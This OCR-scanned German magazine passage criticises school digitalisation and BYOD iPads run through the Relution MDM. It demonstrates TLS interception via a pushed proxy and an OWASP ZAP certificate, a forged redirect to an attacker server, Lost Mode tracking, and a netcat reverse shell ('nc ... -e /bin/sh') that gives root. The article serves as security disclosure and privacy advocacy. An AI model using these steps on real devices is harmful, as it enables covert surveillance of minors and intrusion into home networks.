des Baden-Wiirttemberg an Schulen (mit Fris-
ten zur Einreichung von Zeitplanen fiir Al-
ternativen bis Sommer 2022) verboten und fir
BBB und Moodle gilt, dass der bisherige Betrei-
ber BelWii diese auch so lange weiter betreibt,
bis ein Ersatz durch eine EU-Ausschreibung
gefunden ist. Ob dann allerdings die bisherige
Funktionalitit erhalten bleibt, darf in Frage
gestellt werden (je nach Ausschreibungstext
kann glatt auch die Videofunktionalitat BBB
wegfallen). [11]

Vielleicht werden bei einer Neuauflage des
Digitalpaktes nicht dieselben Fehler gemacht.
[12] Abgesehen davon sind ublicherweise
nach spétestens 6 Jahren ein Grofiteil der an-
geschafften Geriate nicht mehr funktionsfahig
oder nur noch eingeschrankt nutzbar, sodass
iiber ein Nachfolgemodell des Digitalpaktes
unbedingt nachgedacht werden muss, der die
selben Fallstricke wie bisher in den entspre-
chenden Verwaltungsvorschriften am besten
erst gar nicht enthalt.

Was bleibt?

All dies bewirkt, dass sich die Schultriger
meist fiir die aus ihrer Sicht einfachsten Lo-
sungen entscheiden, die sie mit ihren somit
eher unterbesetzten IT-Abteilungen und Tief-
baudmtern (die sind fiir die Internetanschliisse
zustandig) gerade noch umgesetzt bekommen.
Dies ist in vielen Féllen ein Mobile Device Ma-
nagement (MDM) mit der Nutzung von iPads.
In Hannover baut die Stadt beispielsweise in
die Klassenrdume aller Schulen AppleTVs ein
und schliefit durch die vorgegebene Infrastruk-
tur die Nutzung anderer Endgerite quasi aus,
so dass es fir die Schulen nur mit Mithe mog-
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lich ist, andere Gerate als iPads zu benutzen.
[13] In Hannover hat zudem die Stadt fir al-
le Lehrkrafte iPads eingekauft und in ihr be-
reits existierendes MDM eingebunden. Hierbei
wurden die Lehrkrifte iiberhaupt nicht mit in
den Entscheidungsprozess eingebunden und
nach ihren Bediirfnissen gefragt, ob sie ein sol-
ches Gerit benétigen. Viele Lehrkréfte besit-
zen allerdings bereits ein leistungsfahrigeres
anderes Gerit, das sie privat finanziert haben.
Zudem eignet sich ein iPad gar nicht bezie-
hungsweise nur sehr eingeschrankt, um Un-
terricht vorzubereiten. So schlummern nun in
vielen Regalen der Schulen oder bei den Lehr-
kraften zu Hause iPads herum, die viele der
betroffnenen Lehrer*innen nicht nutzen, weil
es fiir ihre Zwecke nicht passt oder sie bereits
eigene Hardware haben. Der Presse kann der
Schultréger dies jedoch gut verkaufen. Hinter
den Kulissen wird jedoch deutlich, dass dies
definitiv nicht nachhaltig gedacht wurde. Dass
es nebenbei zu einem Lock-In-Effekt fithren
kann und welcher Weg sinnvoller wire, haben
wir bereits im April 2021 in unserem Artikel
,Wie ein Lock-In an Schulen der Gesellschaft
schadet” [14] aufgezeigt.

Dass die Poltik weiter in eine Sackgasse
lauft, zeigt sich beispielsweise am Wahlpro-
gramm der SPD Niedersachsen fiir die Land-
tagswahlen 2022. [15] Es sollen fir alle Schii-
ler:innen ab der 3. Klasse Tablets geleast und
regelmaflig ausgetauscht werden. Tablets, bei-
spielsweise in Form von iPads, erscheinen auf
den ersten Blick verfiihrerisch. Es gibt viele
Apps fiir den Bildungsbereich und bei Tablets
bietet Apple zugegebenermaflen den lings-
ten Support. Fiir schuleigene iPads mit spezifi-
schen Anwendungszwecken ist dies sicherlich
eine Losung, die je nach Schulform durchdacht
werden sollte. Wenn es aber um Endgerate
der Schiiler:innen geht, die zu miindigen Biir-
ger:innen in einer Demokratie erzogen werden

sollen, passt dies nicht. Es mangelt an Reparier-
barkeit, ein Reinschauen in die Gerate ist kaum
moglich. Diese Art Gerite sind ohne weitere
Hardware nicht wirklich oder nur sehr ein-
geschrankt programmierbar. Die Gerite und
die Software sind zum groflen Teil proprietar.
Dies widerspricht den Prinzipien von Open
Educational Resources und Nachhaltigkeit.

Open Education Resources (OER) be-
zeichnet freie Lern- und Lehrmaterialien
mit offenen Lizenzen wie beispielsweise
Creative Commons.

Zudem werden durch das geschlossene Oko-
system Anreize gesetzt, sich weitere Apple-
Gerite zu kaufen. Werbung ist aber keine Auf-
gabe der Schule, sondern explizit verboten.

Es gibt dabei wahrlich Schulen, die sich so-
gar voll zu Apple bekennen und sich als ,,Apple
distinguished School® zertifizieren lassen. Auf
der Webseite von Apple sind diese Schulen in
einer gezippten pdf-Datei zu finden. [16] Dabei
miissen alle Lehrer*innen und alle Schiiler*in-
nen als priméres Gerat ein iPad oder einen Mac
nutzen und es miissen 75% der Lehrer*innen
das Apple-Teacher-Zertifikat [17] absolviert
haben. [18] Zumindest ist in die Anzahl der
dort aufgefiithrten Schulen aus Deutschland
gering. Jedoch ist anzunehmen, dass sich die
meisten Schulleitungen sicher bewusst sind,
dass sie als Schule zur Werbebotschafterin fir
Apple werden, wenn sie auf einer solchen Liste
stehen und dies sicher nicht mit den Schulge-
setzen in Einklang steht. Das gleiche Schema
gibt es fiir Microsoft-Showcase-Schools und
Microsoft Certified Educators. [19, 20, 21]

Ob diese Art der Produktplatzierung inklu-
sive der kritisierten Lock-In-Effekte fiir staat-
liche Schulen in Deutschland zu befiirworten
ist, diirfen die geneigten Leser*innen an dieser
Stelle selbst beurteilen.
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Die Entscheidungsstrukturen und die Um-
setzung der Konzepte haben sich also als in-
transparentes Chaos und labyrinth-artiges Sys-
tem oder komplette BlackBox entpuppt. Zu-
mindest fiir die, die am Ende der Kette stehen
und auf die digitale Ausstattung ihrer Schulen
und der Schiiler*innen und Lehrkrafte hoffen.
Hingegen sind diejenigen, die diese Strukturen
durchschaut haben und fiir ihre eigenen Zwe-
cke (den Verkauf ihrer Produkte) schamlos aus-
nutzen, im Vorteil. Eine gute Idee kommt al-
so oben hinein und am Ende kommt ein fei-
nes Uberraschungspaket heraus. Was kann da
schon schiefgehen?

Die Antwort ist simpel: Alles!

Digitaler Unterricht — chaos-
frei?

Das Konzept ,Digitaler Unterricht — chaosfrei®
[22] eignet sich als hervorragendes Lehrbei-
spiel, wie man iiber das Ziel hinausschief3en
kann. Fiir den ,chaosfreien Digitalunterricht
nutzen die Lehrer die Relution Teacher App.
[23] Damit konnen die Lehrer*innen die Gera-
te der Schiler*innen fir den Unterricht stark
einschrinken, weil diese andernfalls ,Chaos”
veranstalten kénnten. Nebenbei tibernimmt
die Schule die Administration sdmtlicher Ge-
rite. Diese sind ,elternfinanziert” oder bereits
in der Familie vorhanden. Im Klartext: Es wird
eine 1:1-Ausstattung der Schiiler*innen mit
privaten iPads forciert. Im Rahmen der Ad-
ministration durch die Einrichtung wird der
ySupervised Mode“ aktiviert. Dieser Modus ge-
wihrt der verwaltenden Schule die absolute
Kontrolle iiber das private Gerét der (minder-
jahrigen) Schiiler*innen. Jederzeit — uneinge-
schriankt!

Das ist Gibrigens der erste Aspekt, an dem
die meisten Datenschiitzer*innen eine Géan-
sehaut verspiiren. Die eigentliche Steuerung

Der Supervised Mode erlaubt unter ande-
rem diese Einschrankungen:
« Zugriff auf Anwendungen einschrinken

» Webinhalte filtern
 Konfigurieren von Startbildschirm-
Layouts

App-Sperre (Einzel-App-Modus)
Umgehung der Aktivierungssperre
Stille App-Installationen

Aktivieren des Verloren-Modus
OS-Updates aus der Ferne iibertragen
Aktivieren zusatzlicher Einschrankun-
gen [24]

der Gerite soll nach dem Konzept fiir einen
chaosfreien Digitalunterricht mit dem Mobi-
le Device Management (MDM) Relution [25]
erfolgen. Ein MDM steht fiir die zentralisierte
Verwaltung von Mobilgeriten wie eben iPads
durch eine Einrichtung und deren Adminis-
trator*innen. Das MDM hilft unter anderem
bei der Inventarisierung und Uberwachung
der Gerite. Dazu lassen sich dort Richtlinien
definieren, die genau festlegen, welche Ein-
schrankungen auf einem Gerét aktiviert wer-
den sollen. Diese Option nutzt zum Beispiel
die Teacher App, um die Gerite der Schiiler*in-
nen fir den Unterricht vorzubereiten. Dazu
sendet eine Lehrkraft iiber die App eine Liste
an Einschrankungen und eine Liste an Ziel-
geraten (seine Klasse) an das MDM. Dieses
setzt die Anforderungen in eine Richtlinie um
und aktiviert diese sodann auf den Geréten
der Schiiler*innen in der Klasse.

Fun Fact am Rande: Achtet der Lehrkérper
nicht auf die Anwesenheit der Schiiler*innen,
schrankt er auch die Geréte der abwesenden
Schiiler*innen ein und so kann die Streaming-
Session des*der kranken Schiiler*in abrupt en-
den.
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Fun Fact 2: Um den Supervised Mode bei
bereits vorhanden privaten iPads zu aktivie-
ren, missen alle Daten auf dem Gerit geloscht
werden und danach darf kein Backup einge-
spielt werden. Wer vermisst schon seine Fotos,
wenn gleich alles auf einmal weg ist? [26]

Zwo, Eins, Risiko!

Der Datenschutz als solches begegnet dem IT-
Nutzer heutzutage an vielen Stellen und in
unterschiedlichster Form. Beispielsweise beim
Surfen im Internet. Fast jede Webseite (mit
privaten Daten) ist fiir den Anwender sicht-
bar mit einem Schloss im Browser gesichert
und sendet die Daten nur verschliisselt iber
das Internet. Private Daten sind ja auch be-
sonders schiitzenswert und sollen vor frem-
den Augen verborgen bleiben. Das ist eine
Selbstverstandlichkeit, man nimmt es eigent-
lich gar nicht mehr bewusst wahr. Das Schloss
ist im Browser — alles top. Dann kann man
ja seine Geheimnisse guten Gefiihls an ME-
TA, Google oder Microsoft senden ;) Kein*e
Schiiler*in/Teenager wiirde doch wollen, dass
die eigenen Eltern lesen konnten, was man
da so alles iiber das Internet teilt. Oder noch
schlimmer, die Lehrer*innen konnten lesen,
was die Schiiler“innen so schreiben. Moment
mal, dieses neue Konzept mit den itberwachten
betreuten Geriten... wieder diese Génsehaut.

Vollstandiger Zugriff auf den
Datenverkehr

Die Steuerung der im Supervised Modus be-
findlichen Geriate mit dem MDM Relution
macht es erstaunlich einfach, den Datenver-
kehr der iberwachten Gerite mitzulesen. Es
reicht aus, mit einer Richtlinie einen globalen
HTTP Proxy zu setzen.

Globaler HTTP Proxy

Wird Gberwacht

Allgemein

Proxy Typ

Manuell

Proxy Server *

proxy,local.nodomain|

Port *

8080

Ein HTTP Proxy ist ein Programm, das die
Anfragen aller iPads entgegennimmt und dann
Antworten der Server aus dem Internet holt.
Der Proxy kann dadurch tolle Dinge ermog-
lichen, zum Beispiel mehrfach angefragte In-
halte einfach aus seiner Erinnerung wieder
anzeigen. Oder die Antworten auf Viren un-
tersuchen und so die Geréte schiitzen. Auch
kann er zweifelhafte Anfragen verwerfen und
so den Jugendschutz wahren.

Jetzt ist da aber noch die Sache mit dem Da-
tenschutz und den ganzen verschliisselten Ver-
bindungen mit dem Schloss im Browser. Die
machen natiirlich Arger, wenn ein Proxy ein-
fach in die Mitte der Kommunikation mdchte.
Stille Post ist etwas fiir den Kindergeburtstag,
aber nicht fiir die sichere Kommunikation im

g%g 0x3c
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Internet! Damit der Proxy auch die tiblichen si-
cheren Verbindungen problemlos verarbeiten
kann, muss dem iPad mitgeteilt werden, dass
es dem Proxy vertrauen kann. Das lauft in der
IT-Welt mit Zertifikaten und vertrauenswiir-
digen Stammzertifikaten. Das iPad muss also
dem Stammzertifikat des Proxy vertrauen und
ab dann gibt es auch keine Warnungen mehr
bei verschliisselten Verbindungen. Das Ganze
kann man sogar tiber das MDM ganz einfach
auf alle Geréte ausrollen.

Typ Name

G
5

Globaler HTTP Proxy Global HTTP Proxy

Zertifikat : zap_mac_os

Wenn man jetzt eine Richtlinie im MDM er-
stellt, die einen Proxy setzt und das Gerat
zwingt dem Proxy zu vertrauen, dann darf der
Proxy in die Mitte der Kommunikation? Und
man kann tolle Dinge mit einem Proxy ma-
chen? Ist das einfach?

Ziemlich einfach: Die Richtlinie wird ein-
fach den Gerdten zugewiesen und aktiviert
sich automatisch — ohne Zutun oder Informa-
tion der Benutzer*innen. Der Proxy war aber
doch zum Schutz da, oder? Jugendschutz, Vi-
renschutz, richtig?

Angriffsproxy — Stille Post fiir
Schniffler

Der OWASP ZAP [27] ist ein Beispiel fiir ei-
nen Angriffsproxy. Dies ist ein Werkzeug fiir
Sicherheitsforscher*innen und erlaubt die Aus-
wertung und Manipulation der tiber diesen ge-
sendeten Kommunikation. Dies erlaubt den
Forschern*innen Sicherheitsliicken in Web-

Zertifikat bearbeiten

zap_mac_os ist ausgewshlt

Oh, da ist sie wieder — die Gansehaut.

Aktiviert

@
@

Einschriankungen

Wird Gberwacht

Anwendungen zu finden oder Risiken in Schul-
konzepten. Fir das Mitlesen der Kommunika-
tion auf den Geréten der Schiiler*innen muss

+ Hinzufigen H Q ¥ = ¢

Varsion Status

O Geriitonama

O IPAD H w

also ,nur” ein Angriffsproxy gestartet werden
und die Gerite der Schiiler*innen miissen an-
gewiesen werden, diesen heimlich zu nutzen.

Big Brother muss nun nichts weiter tun, als
einfach den Dingen ihren Lauf zu lassen und
zu warten, bis die Schiiler*innen ihr tagliches
Internetbediirfnis stillen. Der Proxy sieht alles:
Zugangsdaten, Online-Bestellungen, Chats,
Fotos, Posts. Dagegen sieht jede Telenovela
alt aus!
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POST https://discord.com/api/v9/channels/[...]/messages HTTP/1.1

Host: discord.com

x-debug-options: bugReporterEnabled
Accept: */x
Authorization: [...]
x-discord-locale: de
Accept-Language: de-DE
Content-Type: application/json
Content-Length: 137
User-Agent:
x-super-properties: [...]
Connection: keep-alive

Cookie: [...]

Discord/34788 CFNetwork/1335.0.3 Darwin/21.6.0

{"content":"Ich muss dir was wichtiges sagen aber <ich fiihle mich hier irgendwie belauscht",

- "ponce":"[...]", "tts": false}

Datenmanipulation — Darf es
ein wenig mehr sein?

Hin und wieder haben Datenschniiffler*in-
nen den spontanen Drang aktiv zu werden.
Passives Mitlesen verliert auf Dauer seinen
Kick. Wie praktisch, dass ein Angriffsproxy

HTTP/1.1 301 Moved Permanently

Date: Sat, 21 May 2022 17:01:40 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 249

Connection: keep-alive

Server: Apache

Location: http://myAttackServer:3000/demos/basic.

Cache-Control: max-age=3600
Expires: Sat. 21 May 2022 18:01:40 GMT

Dazu nutzt die*der Datenschniiffler*in in die-
sem Fall den ,HTTP 301 Moved Permanently“-
Status. Dieser teilt dem anfragenden Browser
mit, dass die angefragte Webseite ab sofort an
anderer Stelle zu finden ist — zufillig genau

die vollstandige Manipulation der Kommuni-
kation erlaubt. Als plakatives Beispiel dient
hier die totale Falschung einer Antwort auf
eine Webseiten-Anfrage. Dabei fragt die*der
Schiiler*in exemplarisch die Schulhomepage
an und wird einfach auf eine Webseite der*des
Datenschniifflers*in umgeleitet.

html

die Stelle wo die*der Datenschniiffler*in seine/
ihre eigene Webseite betreibt. Diese Seite kann
der Schulseite tauschend dhnlich sehen. Hat
aber ein wenig mehr im Angebot. So konn-
te dort Schadcode eingebettet sein, der den

%ﬁ 0x3E
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Browser des iPads unter seine Kontrolle be-
kommt. Damit kann das iPad zum Briicken-
kopf fiir die*den Datenschniiffler*in in das pri-
vate Heimnetzwerk werden. Sie*er kann wei-
terfilhrende Angriffe wie zum Beispiel Session
Cookies oder Browser- und Betriebssystem-
Informationen auslesen und gezielte Exploits
fiir den verwendeten Browser zur Ausfithrung
bringen und so Schritt fiir Schritt tiefer in die
Privatsphire und das Heimnetz vordringen.

Ui — jetzt machen sogar die Nackenhaare
mit bei der Génsehaut.

3, 2, 1 — Versteckt oder nicht, ich
komme...

Grundsitzlich ist einer Lehrkraft daran gele-
gen, die Schiiler*innen zu schiitzen. Doch lei-
der kann es auch hier schwarze Schafe geben,
wie folgende Schlagzeilen offenbaren:
« Fritherer Schuldirektor wegen schweren
sexuellen Missbrauchs verurteilt” [28]
« ,Missbrauch durch Lehrer — Schulaufsicht
beteuert: ,Es wird nichts vertuscht®“ [29]
« ,Geschichten, die zahlen — Portal fiir Op-
fer [30]

,2Dunkelfeldforschungen aus den vergange-
nen Jahren haben ergeben, dass etwa jede/r
siebte bis achte Erwachsene in Deutschland se-
xuelle Gewalt in Kindheit und Jugend erlitten
hat. Sexueller Missbrauch wird am héufigsten
zu Hause durch eigene Angehorige erlebt, je-
doch berichten Kinder und Jugendliche auch
von sexueller Gewalt in Institutionen, insbe-
sondere in Schulen...“ [31] Ein Albtraum fiir
Betroffene und Eltern.

Entsprechend kritisch sehen manche El-
tern eine weitere Funktion, die sich aus dem
Konzept ,Digitaler Unterricht — chaosfrei er-
gibt: Die jederzeit mogliche Ortung der Kinder

durch die administrierende Schule — technich
machbar ohne die Notwendigkeit einer Zu-
stimmung durch die Eltern. Das MDM Relu-
tion macht die Ortung besonders leicht. Das
zu ortende Gerat muss nur in den ,Lost Mo-
de“ versetzt werden. Anschliefend die Aktion
,Gerit orten“ ausfithren und den ,Lost Mode®
wieder deaktivieren.

Typ Status

@ Lost Mode deaktivieren

@ Gerit orten
@ Gerét orten
@ Gerdt orten
@ Gerat orten

@ Lost Mode aktivieren

In Kombination mit einem MDM spricht
man vom ,Managed Lost Mode®. Apple hat
diesen Modus offiziell eingefithrt um gestoh-
lene oder verlorene Geréte orten, sperren
und 16schen zu kénnen. Ein MDM bietet die
entsprechenden Aktionen leicht durchfiihr-
bar in seiner Oberflache an. [32]

Falls das minderjahrige Schulkind den
schnellen Flip von Lost Mode und zuriick nicht
bemerkt, erscheint immerhin eine Warnmel-
dung auf dem Sperrbildschirm des iPads.

iPad geortet

Der Standort dies: Juni 2022 um 11:02 an
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Der Standort wird anschlieflend bis auf wenige Meter genau gut sichtbar auf einer interakti-

ven Karte dargestellt.

Allerdings bleibt die Wirksamkeit unklar bei
Teenager*innen, die schnell wieder ins Inter-
net mochten und denen die Bedeutung dieser
Meldung moglicherweise unklar ist. Es bleibt
die Frage, wozu eine Schule jederzeit in die
Lage versetzt werden sollte, die Gerite ihrer
Schiiler*innen orten zu kénnen? Sollte wirk-
lich ein iPad gestohlen werden, dann gibt es
vermutlich kein bekanntes WLAN in der Na-
he und es ist auch keine SIM-Karte integriert.
Damit kann es nicht mit dem Internet kommu-
nizieren und eine Aktivierung des Lost Mode
inklusive Ortung ist unméoglich. Nutzt die*der
Schiiler*in das Gerit aber bei Freund*innen,
im Café oder bei einem Hotspot, dann ist Stal-
king die Ortung problemlos méglich.
Jedenfalls bekommen die privaten IPADs
der Schiiler durch diese Situation eine neue Si-
cherheitsbewertung. Bei schulischen Geriten,
die keine Verbindung zu anderen privaten Ge-
riaten wie Drucker besitzen, kann zur sicheren
Nutzung die Zuweisung in ein Giaste-WLAN

erfolgen. Bei privaten Geriten hingegen, die
Daten im Netzwerk mit anderen privaten Ge-
riten austauschen, ist eine solche Isolation
nicht méglich ohne die private Nutzung ein-
zuschrinken. Dieser feine Unterschied hat fiir
die Sicherheit der anderen Geréte im privaten
Netzwerk potentiell negative Auswirkungen.

Wie und wie weit kann ein Angriff tiber das
MDM reichen? Mit der Installation von Apps
bis in die Unendlichkeit!

Das MDM ermdglicht es Apps per Richtli-
nie aus dem Apple App Store auf das Gerit zu
installieren. In App Stores existieren durchaus
riskante Apps. Eine solche App kénnte eine
unbemerkte  Hintertiir* enthalten und eine
Fernsteuerung des Gerites ermdglichen. Dies
ist keine Hollywood-Fantasie, sondern Alltag
bei Cyberangriffen.

Mit dem MDM Relution ist die Installation
einer App aus dem App Store schnell erledigt.
In einer Richtlinie zur App-Konformitit kann
man auswéhlen, welche Apps von wo instal-
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liert werden sollen. Unter ,erforderliche Apps®
wird dann die Ziel-App hinterlegt.

Home > Richtlin

App

&8 App

Erstellt von t.werth vor 2 Tagen | Mod

Konfigurationen 1 Gerite |

<+ Hinzufiigen :

5]

Typ

(W

EE@ App Konformitat

# nc -vlp 50000
listening on [any] 50000 ...
connect to [...] from [...] [...] 40638

# id

Damit wird die App auf dem Gerit ohne
Nachfrage fiir alle Accounts installiert.

So lassen sich populdre Apps durch Versio-
nen mit einer Backdoor ersetzen, damit der
Anwender ,nichts“ bemerkt und die App aus
Gewohnbheit startet. Dabei gehen zwar alle Da-
ten und Einstellungen der App verloren, aber
wer wird sich dann nicht einfach wieder an-
melden und weiterarbeiten wie zuvor?

Ein Proof of Concept zeigt wie einfach ein
solcher Angriff ausgefiithrt werden kann. Al-
lerdings wird in diesem Rahmen auf eine voll
automatisierte Backdoor verzichtet und es ist
hier manuelle Zuarbeit notwendig. Dazu wird
die App iSH Shell aus dem App Store auf dem
Gerit installiert und gestartet. Nun reicht es
aus manuell einen Befehl zum Verbindungs-
aufbau zu dem Angriffsserver einzugeben, um
eine entferne Ausfithrung von Befehlen auf
dem iPad zu erméglichen.

Gfese]t~# nc [...].net 50000 -e /bin/sh

Auf dem Steuerungsserver wird die er-
folgreiche Verbindung des iOS-Endgerites er-
kannt und eine interaktive Shell gestartet. An-
schlieffend lassen sich iiber diese Verbindung
weitere Befehle ausfithren.

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),1

< 1(floppy),20(dialout),26(tape),27(video)

Analog wire es auf einem solchem Weg mog-
lich Steuerbefehle an eine bosartige App zu
senden, um die Kamera oder das Mikrofon zu
aktivieren. Oder einfach das iPad als Briicken-
kopf fiir Angriffe auf Gerdte im gleichen Netz-

werk zu benutzen. Mit einem solchen Angriffs-
pfad konnen sogar andere Gerite im gleichen
Heimnetzwerk ins Visier genommen werden.
Dieser Angriffsvektor ,iPad des Kindes im ei-
genen WLAN® bietet vermutlich gentigende
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Optionen, um auch tiber kurz oder lang Zu-
griff auf den Heimarbeitsplatz zu erhalten. Von
dort ist es iiber das Firmen-VPN nur noch ein
Katzensprung in das Netzwerk der Firma der
Arbeitgeber der Eltern.

Diese Fragen kénnen durchaus zu Kopfzer-
brechen fithren, aber immerhin besteht jetzt
dank der ausgewachsenen Gansehaut eine ge-
wisse Ahnlichkeit zu einem Kugelfisch, das ist
doch mal eine erfolgreiche digitale Transfor-
mation.

Verantwortliche driicken alle
Augen zu

Das Konzept bietet also einige spannende
Features, aber konnen auch nicht-sichtbare
Aspekte in dem Konzept problematisch sein?

Aufgrund der Erfahrungen in den Pande-
miezeiten wurden bereits datenschutzrechtli-
che Leitfdden und Vorgaben durch den Lan-
desbeauftragten fiir Datenschutz und Informa-
tionsfreiheit (LDI) NRW publiziert.

Betrachtet man die Vorgaben zur Verwen-
dung schulischer Geréte im Unterricht, kann
man erahnen, was fehlen konnte:

Fiir die Verwendung schulischer Gerdte durch
Schiilerinnen und Schiiler und den Einsatz
von z. B. Lernprogrammen und Arbeitsplatt-
formen gilt § 120 Abs. 5 in Verbindung mit § 8
Abs. 2 SchulG. Danach entscheidet die Schule
tiber den Einsatz, im Rahmen der innerschu-
lischen Mitwirkung ist die Schulkonferenz zu
beteiligen (§ 65 Absatz 2 Nr. 6 SchulG). Die
Zuldssigkeit der Datenverarbeitung- und spei-
cherung ist umfassend mit Gesetz, Verordnun-
gen und Erlassen geregelt; die Schulleitung
steht in der Verantwortung fiir die Beachtung
der Datenschutzbestimmungen. Die Auswahl,
Beschaffung und Bereitstellung von schuli-
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schen Gerdten erfolgt durch den Schultriger
(§ 79 SchulG). [33]

Zu keinem Zeitpunkt wird in dem Kon-
zept transparent, welche gesetzlichen Vorga-
ben eingehalten werden. Zudem gibt es eine
Abweichung zu den Anforderungen, da in die-
sem Fall die Gerite elternfinanziert und privat
beschafft werden. Allerdings erfolgt die Aus-
wahl durch die Schule, es gibt keine freie Wahl
fiir die Eltern und Schiiler*innen. Ebenso tiber-
nimmt die Schule die Bereitstellung — auch
hier ist keine freie Wahl fiir die Schiiler*innen
vorgesehen. Zudem ist die Gerateauswahl der
Schule nicht exakt und lasst Abweichungen in
den Ausstattungen und Merkmalen der iPads
zu. Dies kénnte zu sozialen Spannungen fith-
ren. Besonders wenn Eltern entscheiden, kein
iPad fir ihr Kind zu beschaffen.

Haftungsfragen im Rahmen der schulischen
Administration sind ganzlich ungeklért. Eben-
so in Bezug auf die elternfinanzierte Anschaf-
fung. Wer haftet fiir den finanziellen Aufwand
der Eltern, falls moglicherweise eine Landes-
datenschutzbehoérde den im Konzept vorgese-
hen Einsatz aufgrund von Rechts- und Daten-
schutzverstofien stoppt?

Schulleiter*innen sind in der Verantwor-
tung auf Einhaltung der bestehenden gesetzli-
chen Vorgaben zu achten. Der LDINRW nennt
hier auch klar die entsprechenden Regelungen.
Vor diesem Hintergrund kann auch die Instal-
lation eines MDM auf privaten Gerdten nur
auf der Basis von wirksamen Einwilligungen
erfolgen. Damit eine Einwilligung wirksam
ist, miissen bestimmte Voraussetzungen erfillt
sein. [34, 35, 36, 37] Besonders wichtig ist die
Freiwilligkeit der Entscheidung fiir oder gegen
die Erteilung der Einwilligung. Insofern diirfte
es vorliegend entscheidend darauf ankommen,
ob die Schiiler*innen beziehungsweise ihre El-
tern eine echte Wahl haben, ob sie ein privates
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oder ein schulisches Gerit einsetzen, auf dem
das MDM installiert werden soll.

Verantwortliche Stellen sehen allerdings
trotz der bekannten Risiken keinen Hand-
lungsbedarf. Die Schulleiter versichern, man
habe die Punkte der Risikobetrachtung iiber-
priift. Es lagen keine Griinde vor, um den Start
des neuen Konzepts zu stoppen. Nicole Ludwig
sagt, dass ein"e Lehrer*in als Administrator*in
schon erhebliche kriminelle Energie aufwen-
den misste, um das System zu missbrauchen.
Dies wiirde erhebliche dienstrechtliche Kon-
sequenzen nach sich ziehen. [38]

Ob ,erhebliche dienstrechtliche Konsequen-
zen“ wirklich abschrecken, darf mit einem
Blick in die Kriminalstatistik allerdings durch-
aus bezweifelt werden. Im Zweifel obliegt es
der betroffenen Person ihr Recht einzufordern.
Hilfreich kénnen da die fiir Schulen zustandi-
gen Datenschutzbeauftragten des Bundeslan-
des sein.

Sinnvoller wire es angesichts des obigen
exemplarischen Beispiels sicherlich, gewisse
Grundpfeiler bei der Konzeption zu beachten
und auf Basis dieser Leitplanken die Digita-
lisierung voranzutreiben. Wie dies aussehen
kann wird nachfolgend beschrieben.

Schulische Gerateausstattung
statt BYOD

Aus all diesen Griinden sollte das Konzept
BYOD vermieden werden. Stattdessen sollten
die Schiiler*innen mit schulischen Geriten
ausgestattet werden, die zentral von der Schu-
le verwaltet und nicht fir private Zwecke ge-
nutzt werden. Einzelne Landesbeauftragte fir
den Datenschutz raten schon allein aus Da-
tenschutzgriinden von BYOD ab, weil der Da-
tenschutz bei BYOD nicht von der Schule zu
gewihrleisten ist. Dasselbe gilt im Ubrigen fiir
die dienstlich genutzten digitalen Endgeréte

der Lehrkrifte: Auch hier sollten keine priva-
ten Gerate dienstlich verwendet werden, son-
dern vom Dienstherrn zur Verfiigung gestellte,
gewartete und administrierte Dienstgerite.

Werteorientierung

Am Beispiel BYOD hat sich schon gezeigt, wie
wichtig der Wert des Datenschutzes im Schul-
bereich ist. Im Bildungsbereich sollten bei der
Digitalisierung generell nicht technische, or-
ganisatorische oder finanzielle Fragen im Vor-
dergrund stehen, sondern Werte wie Daten-
schutz, digitale Souverénitit und eine Medien-
und Verbraucherbildung, die an der Erziehung
zur*zum miindigen Biirger*in orientiert ist.
Denn die Schule ist fiir die ihr schutzbefoh-
lenen, zumeist minderjahrigen Schiiler*innen
firsorgepflichtig und hat dariiber hinaus einen
wertegebundenen Bildungs- und Erziehungs-
auftrag. Um welche Werte muss es dabei ge-
hen?

Datenschutz

Der Datenschutz ist schon zur Sprache gekom-
men, und er spielt in der Schule natiirlich auch
eine ganz besonders wichtige Rolle, weil in
der Schule extrem sensible personenbezogene
Daten von Schiiler*innen, aber auch von Lehr-
kriften, verarbeitet werden. Dabei kann es um
Lern- und Leistungsdaten gehen, aber auch
um Daten zum Verhalten (gegebenenfalls zu
schulischen Sanktionen), um Krankeit, Noten
und so weiter. Schiiler*innen kénnen im Rah-
men des Unterrichts Texte verfassen, die Auf-
schluss tiber ihre politischen oder religiésen
Uberzeugungen oder ihre sexuelle Orientie-
rung geben. Sollten Methoden des ,Learning
Analytics“ verwendet werden, konnten aus
den Lerndaten der Schiiler*innen gar umfang-
reiche Personlichkeitsprofile erstellt werden.
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Auflerdem ist die Schule in einer besonde-
ren Verantwortung, weil die Schiiler*innen bei
der Nutzung von schulischen digitalen End-
geriten und schulischen digitalen Anwendun-
gen, Netzwerken oder Plattformen keine Wahl
haben, sondern der Nutzung zustimmen miis-
sen, wenn sie ohne Benachteiligung am Unter-
richtsgeschehen teilhaben wollen.

Digitale Souveranitat

Laut Grundgesetz und Landesverfassungen
steht das Bildungswesen unter der Aufsicht
des Staates. Das ist kein Zufall, denn der Staat
hat die Aufgabe der ,Daseinsfursorge” fir die
Biirger*innen. Diese Aufgabe kann er nur er-
filllen, wenn er souveran uber die systemrele-
vante Infrastruktur verfiigt, also diese selbst
aufbaut und betreibt.

Kernbestandteil des Bildungswesens sind
die Schulen, also sind auch die Schulen system-
relevant. So wiirde niemand auf die Idee kom-
men, die Errichtung und den Betrieb der Schu-
len samt und sonders zu privatisieren, sie zum
Beispiel an einen ausldndischen Baukonzern
zu verkaufen, der sie fiir den Staat betreibt,
um sie dann zuriickzuleasen. Jedem wire klar,
dass der Staat die souverdne und dauerhafte
Verfugbarkeit der Schulen durch ein solches
Vorgehen fahrléssig gefihrden wiirde. Denn
wie sollte der Staat dann verhindern, dass der
private Betreiber der Schulen seinen Service
verschlechtert, die Nutzungsbedingungen &n-
dert, Preise unverhaltnismafig anhebt oder
im Extremfall den Betrieb, aus welchen Griin-
den auch immer, einstellt? In den vergangenen
Jahrzehnten haben die Kommunen einschla-
gige Erfahrungen mit der Privatisierung von
Wasser- oder Stromversorgung gemacht.

Diese Fehler diirfen im Bereich der schu-
lischen Digitalisierung nicht wiederholt
werden, denn was fir Schulgebiude aus

Stahl, Glas und Beton gilt, gilt analog auch
fur virtuelle Klassenzimmer auf digitalen
Bildungsplattformen, fiir digitale Lernma-
nagementsysteme, Cloudspeicher, Online-
Biiroanwendungen, Videokonferenzsysteme,
Mail-Server und so weiter.

Medien-
dung

und Verbraucherbil-

Werbung ist an Schulen grundsétzlich verbo-
ten und muss so weit wie moglich vermieden
